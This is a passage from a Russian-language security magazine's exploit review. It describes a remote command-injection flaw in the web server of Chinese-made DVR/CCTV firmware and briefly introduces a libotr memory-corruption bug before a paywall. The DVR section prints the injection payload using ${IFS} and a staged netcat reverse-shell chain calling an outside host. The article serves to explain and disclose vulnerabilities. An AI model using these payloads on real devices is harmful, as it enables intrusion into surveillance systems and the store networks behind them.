В сегодняшнем обзоре мы снова затронем тему устройств CCTV/DVR на примере использования найденных злоумышленниками уязвимостей. Разберем ошибку в популярной библиотеке libotr, которой пользуются все шифропанки для обеспечения приватности переписки, и закончим уязвимостью в одном из модулей фреймворка Metasploit, который не раз бывал и, наверное, еще побывает на наших виртуальных страницах.

 

Многочисленные уязвимости в CCTV/DVR-устройствах

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 22 марта 2016 года
Автор: Ротем Кернер
CVE: N/A

Продолжим тему уязвимостей в CCTV/DVR-устройствах, которую мы начали в предыдущем выпуске. Как пишет автор эксплоита, это исследование продолжает одно из прошлых — про платежные терминалы, которое носило название «Point of sale malware: the full story of the Backoff trojan operation». Злоумышленники постоянно придумывают новые направления атак — именно благодаря им взломали DVR, которые являются ключевым компонентом любой системы камер видеонаблюдения. Это позволило достичь следующих целей:

  1. Проверить, что хост находится в некоем магазине.
  2. Получить отправную точку для атаки на локальную сеть, к которой подключен POS-терминал.
Снимок с CCTV в одном из магазинов
Снимок с CCTV в одном из магазинов

Забавно, что камеры наблюдения, которые служат первой линией безопасности в реальном мире, стали слабым звеном в виртуальном.

После изучения темы про POS вредоносные программы у автора возникло два вопроса.

  1. Как системы видеонаблюдения работают по сети?
  2. Как они были скомпрометированы?

Используя данные, полученные из управляющего центра тысячи зараженных устройств, автор начал проверять открытые порты и сервисы. Было обнаружено, что, помимо открытых портов 81 и 82, доступен порт 8000. Они были идентифицированы как Cross Web Server, и заглавная страница выглядела как на скриншоте.

Заглавная страница Cross Web Server
Заглавная страница Cross Web Server

Быстрый поиск по Shodan обнаружил около 30 тысяч устройств. Следующим шагом стало определение производителя этих устройств. Были найдены следующие файлы.

WebClient.html:

<script id=" gt="" live_js="" lt="" script="" src="script/live.js" type="text/javascript">

script/live.js:

<img style="cursor:auto;" src = "logo/logo.png">

Поиск по логотипу привел к небольшой израильской компании, которая продает системы CCTV, но комментарии говорили о том, что производятся они в Китае. Далее в результате исследования сайта компании была найдена секция с возможностью загрузки обновленных прошивок для DVR.

total 8684
drwx------  8 exodus exodus    4096 Feb 10 18:26 .
drwx------  8 exodus exodus   16384 Feb 10 16:08 ..
-rw-r--r--  1 exodus exodus     604 Nov  7  2012 boot.sh
drwx------  2 exodus exodus    4096 Nov  7  2012 config
-rw-r--r--  1 exodus exodus    1027 Nov  7  2012 dep2.sh
-rw-r--r--  1 exodus exodus  307561 Nov  7  2012 language.tar
-rw-r--r--  1 exodus exodus 1189984 Nov  7  2012 libhi3520a.so
drwx------  2 exodus exodus    4096 Feb  8 13:07 modules
-rw-r--r--  1 exodus exodus    2175 Nov  7  2012 netupgrade.sh
-rw-r--r--  1 exodus exodus    4852 Nov  7  2012 preupgrade.sh
drwx------  2 exodus exodus    4096 Jan  4  2015 product
-rw-r--r--  1 exodus exodus    5984 Nov  7  2012 productcheck
-rw-r--r--  1 exodus exodus      44 Nov  7  2012 rewdg.sh
-rw-r--r--  1 exodus exodus 7257480 Nov  7  2012 td3520a
drwx------  2 exodus exodus    4096 Jan  4  2015 ui
drwx------  2 exodus exodus    4096 Jan  4  2015 VideoPlay
drwx------ 34 exodus exodus    4096 Jan 27  2015 WebSites
-rw-r--r--  1 exodus exodus   51696 Nov  7  2012 XDVRStart.hisi

Внутри архива находилась файловая система. Автору требовалось найти главный процесс сервера. Первым делом был проверен загрузочный скрипт boot.sh, который предположительно должен был выполнять все соответствующие файлы. Он выполнял deps2.sh, а тот, в свою очередь, два бинарных файла — XVDRStart.hisi и td3520a. Наиболее значим td3520a, он и был выбран для анализа.

Спасибо разработчикам, которые скомпилировали его в режиме отладки, сохранив все символы и все названия функций. Это значительно облегчало исследование. Далее был найден следующий уязвимый код в реализации HTTP-сервера.

.text:0040878C LDR     R0, [R11,#dirp] ; dirp
.text:00408790 BL      closedir
.text:00408794 LDR     R0, =aExtractLanguag ; "extract language packet!"
.text:00408798 BL      puts
.text:0040879C SUB     R3, R11, #-var_6C00
.text:004087A0 SUB     R3, R3, #4
.text:004087A4 SUB     R3, R3, #0xCC
.text:004087A8 SUB     R2, R11, #-dest
.text:004087AC MOV     R0, R3          ; s
.text:004087B0 LDR     R1, =aTarZxfMntMtdWe ; "tar -zxf /mnt/mtd/WebSites/language.tar.gz
                                            ;    %s/* -C /nfsdir/language/"
.text:004087B4 BL      sprintf
.text:004087B8 SUB     R3, R11, #-var_6C00
.text:004087BC SUB     R3, R3, #4
.text:004087C0 SUB     R3, R3, #0xCC
.text:004087C4 MOV     R0, R3          ; char *
.text:004087C8 BL      DVRSystem

Если в URI встречается конструкция /language/[language]/index.html, то файл берет строку из [language] и проверяет наличие директории с таким именем. Если нет, то выполняется следующая команда:

tar -zxf /mnt/mtd/WebSites/language.tar.gz [language]/* -C /nfsdir/language

Такая ошибка позволяет нам удаленно выполнять любые команды.

 

EXPLOIT

Эксплуатация осложняется следующими проблемами:

  1. Нельзя использовать пробелы или перевод на новые строки, и сервер не понимает URL-кодирование.
  2. Длина строки между слешами ограничена.

Эти ограничения удалось обойти с помощью ${IFS}. IFS (Internal Field Separator) — это разделение полей, которое использует значение из shell. По умолчанию он содержит символ \n. Это то, что нам нужно!

В качестве теста была выбрана следующая команда:

/language/Swedish${IFS}&&echo${IFS}$USER>test&&tar${IFS}/string.js

И, пройдя по ссылке на созданный файл, можно было увидеть надпись «root».

Большинство встроенных систем использует BusyBox, и, скорее всего, нам доступен netcat, который поможет организовать шелл. Для обхода ограничения в длину эта атака была проведена в три этапа.

Третий:

echo nc 1.1.1.1 1234>e

Второй:

echo -e $SHELL>>e

Первый:

$(cat e) &>r

По ссылке ты можешь найти исходник эксплоита. Далее автор решил поискать аналогичные устройства от этого китайского производителя и обнаружил около семидесяти вендоров, которые их продают. Оригинальная статья и список вендоров с уязвимыми устройствами приведен в блоге.

 

TARGETS

Список возможных целей представлен в блоге автора.

 

SOLUTION

Об исправлениях на момент написания статьи не было известно.

 

Повреждение памяти в libotr

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 9 марта 2016 года
Автор: X41 D-Sec, Markus Vervier
CVE: CVE-2016-2851

Я думаю, многие наши читатели слышали про плагины для мессенджеров вроде Pidgin, ChatSecure и Adium, которые добавляют поддержку OTR. Этот протокол обеспечивает шифрование переписки. Однако в библиотеке libotr, которая используется во многих мессенджерах, была найдена уязвимость.

Атакующий может вызвать падение приложения, содержащего библиотеку, или выполнить произвольный код, отослав OTR сообщение большого размера. Сама библиотека написана на си и представляет собой простую реализацию этого протокола.

Продолжение статьи доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все статьи на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для статей, опубликованных более двух месяцев назад.


Комментарии

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

А ты знал? 10 фактов о Python

Python — язык программирования с достаточно низким порогом вхождения, поэтому его часто вы…